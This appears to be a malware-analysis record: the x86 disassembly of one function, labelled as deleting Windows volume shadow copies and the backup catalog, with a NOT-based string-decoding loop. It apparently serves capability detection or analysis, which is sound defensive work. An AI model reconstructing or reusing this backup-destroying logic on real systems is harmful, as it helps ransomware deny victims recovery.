Function at 0x523a90
Capabilities:
Delete volume shadow copies
Delete windows backup catalog

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x523d0d
sub esp, 0x38
mov eax, dword [esp + 0x40]
test eax, eax
je 0x523b27
cmp eax, 1
jne 0x523ac3
mov ecx, dword [esp + 0x3c]
xor edx, edx
xor ebx, ebx
jmp 0x523b61
mov ecx, dword [esp + 0x3c]
movzx edx, byte [ecx]
test dl, dl
jne 0x523ad7
movzx ebx, byte [ecx + 1]
test bl, 0x80
je 0x523ae5
cmp dl, 0xff
jne 0x523b21
movzx edx, byte [ecx + 1]
test dl, 0x80
je 0x523b21
lea eax, [0x5633d5]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], 0x1d
mov eax, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], 0x1d
call fcn.00408be0
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x3c]
lea edx, [0x59a990]
mov ebx, eax
mov eax, dword [esp + 0x40]
jmp 0x523b61
xor edx, edx
xor ebx, ebx
jmp 0x523b61
lea eax, [0x55e4e2]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 0xd
mov eax, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], 0xd
call fcn.00408be0
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x3c]
lea edx, [0x59a990]
mov ebx, eax
mov eax, dword [esp + 0x40]
test edx, edx
jne 0x523c32
lea eax, [0x54c180]
mov dword [esp], eax
call fcn.0040b170
mov eax, dword [esp + 4]
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x40]
test ecx, ecx
je 0x523bbc
mov edx, dword [esp + 0x3c]
movzx ebx, byte [edx]
test bl, 0x80
je 0x523bc0
lea eax, [0x547680]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
call fcn.00447590
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x40]
xor ebx, ebx
jmp 0x523c58
mov edx, dword [esp + 0x3c]
nop
mov ebx, dword [eax + 4]
mov ebp, dword [eax + 8]
mov esi, dword [eax + 0xc]
mov dword [esp], ebx
mov dword [esp + 4], ebp
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x44]
mov dword [esp + 0x14], ecx
call fcn.004d85a0
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov ebx, dword [esp + 0x24]
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov ecx, dword [0x67e2d0]
test ecx, ecx
jne 0x523c0f
mov dword [ebx + 4], eax
jmp 0x523c17
lea edi, [ebx + 4]
call fcn.0045f450
mov byte [ebx], 0
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
add esp, 0x38
ret
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], edx
mov dword [esp + 0x50], ebx
add esp, 0x38
ret
movzx ebp, byte [ecx + ebx]
xchg ebp, ebx
not ebx
xchg ebp, ebx
xchg ebp, ecx
mov byte [eax + ebx], cl
xchg ebp, ecx
inc ebx
cmp edx, ebx
jle 0x523c63
ja 0x523c46
jmp 0x523d03
nop
mov ecx, dword [esp + 0x24]
mov ebx, dword [ecx + 4]
mov ebp, dword [ecx + 8]
mov esi, dword [ecx + 0xc]
mov dword [esp], ebx
mov dword [esp + 4], ebp
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
call fcn.004d85a0
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov ebx, dword [esp + 0x24]
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov ecx, dword [0x67e2d0]
test ecx, ecx
jne 0x523cb2
mov dword [ebx + 4], eax
jmp 0x523cba
lea edi, [ebx + 4]
call fcn.0045f450
mov byte [ebx], 0
mov eax, dword [0x6574d4]
mov dword [esp], ebx
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
call fcn.004cf760
nop
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x523ce7
movzx ecx, byte [eax]
xor ecx, 1
jmp 0x523ce9
xor ecx, ecx
mov byte [eax], cl
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
add esp, 0x38
ret
mov eax, ebx
mov ecx, edx
call fcn.0045f4d0
nop
call fcn.0045e080
jmp fcn.00523a90